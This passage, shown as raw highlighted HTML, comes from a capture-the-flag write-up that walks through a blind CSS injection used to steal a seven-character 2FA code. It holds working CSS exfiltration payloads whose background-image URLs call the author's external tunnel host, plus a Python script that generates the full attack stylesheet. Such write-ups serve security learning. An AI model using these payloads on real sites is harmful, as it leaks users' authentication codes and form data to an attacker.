&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  background-image&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;https://tunnel.shoebpatel.com/?a&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  background-image&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;https://tunnel.shoebpatel.com/?p&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  background-image&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;https://tunnel.shoebpatel.com/?div&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;we get the&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;&quot;GET /?div HTTP/1.1&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; 200&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; -&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;&quot;GET /?input HTTP/1.1&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; 200&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; -&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ok, so we do have \ tags to get the data out of em with payload like:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;css&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;^=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;s&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;] {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  background-image&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;https://tunnel.shoebpatel.com/?s&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But as this is a &lt;strong&gt;Blind CSS injection&lt;/strong&gt; scenario, we can’t use classic techniques of exfiltrating the multi-length values, which require the vulnerable page to be iframe-able.* &lt;a href=&quot;https://curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html&quot;&gt;Reference.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This leaves us with only one possibility that either the 2FA code is of length one(unlikely) or the challenge author has put code in multiple input tags with each character in one of them!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. How many &lt;input&gt;s?&lt;/strong&gt;&lt;br&gt;
To get the idea of how many tags are there, we can use the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/:nth-of-type&quot;&gt;:nth-of-type&lt;/a&gt; CSS pseudo-class:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;css&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6A737D;--shiki-dark:#6A737D&quot;&gt;/* Selects every fourth &amp;lt;input&amp;gt; element with value &quot;s&quot; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6A737D;--shiki-dark:#6A737D&quot;&gt;   among any group of siblings */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;   &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;s&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;:nth-of-type&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;){&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    background-image&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;https://tunnel.shoebpatel.com/?its-4th-child&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will only fire if there are &lt;strong&gt;4 consecutive or more&lt;/strong&gt; input tags in a parent element.&lt;/p&gt;
&lt;p&gt;We find out that there are &lt;strong&gt;7!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So we can picturize the 2FA code page as following HTML:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;html&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;html&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;   &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;         &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; value&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;         &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; value&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;2&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;         &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; value&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;3&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;         &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; value&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;4&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;         &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; value&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;5&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;         &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; value&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;6&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;         &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; value&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;7&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      &amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;   &amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;html&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So wrote a quick python script from above observations that generates payload CSS file which will exfiltrate the values from all of &lt;input&gt; tags at once and will tell us the sequence of their occurrence too.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6A737D;--shiki-dark:#6A737D&quot;&gt;# $ python ./css_exp.py&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6A737D;--shiki-dark:#6A737D&quot;&gt;#2FA gotta be Alphanumeric&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;alpha_num &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;exploit &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6A737D;--shiki-dark:#6A737D&quot;&gt;#For each of 7 input tags&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; pos &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;  pos &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; str&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(pos)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6A737D;--shiki-dark:#6A737D&quot;&gt;  #For each alpha numeric character&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; char &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; alpha_num:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    exploit &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &apos;&apos;&apos;input[value=&quot;&apos;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;&apos;&apos;&quot;]:nth-of-type(&apos;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;pos&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;&apos;&apos;){&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;    background-image:url(&quot;https://tunnel.shoebpatel.com/?position=&apos;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;pos&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;&apos;&apos;&amp;amp;char=&apos;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;&apos;&apos;&quot;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;with&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;2fa-exploit.css&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt; file&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;  file&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.write(exploit)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As soon as we send our &lt;code&gt;2fa-exploit.css&lt;/code&gt;, we get 7 hits:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/ngrok_exfill.png&quot; alt=&quot;&quot; title=&quot;ngrok&quot;&gt;&lt;/p&gt;
&lt;p&gt;Assembling them in sequence gives us the 2FA code: &lt;strong&gt;RT8i1EC&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And, Pwned! 💣&lt;/p&gt;
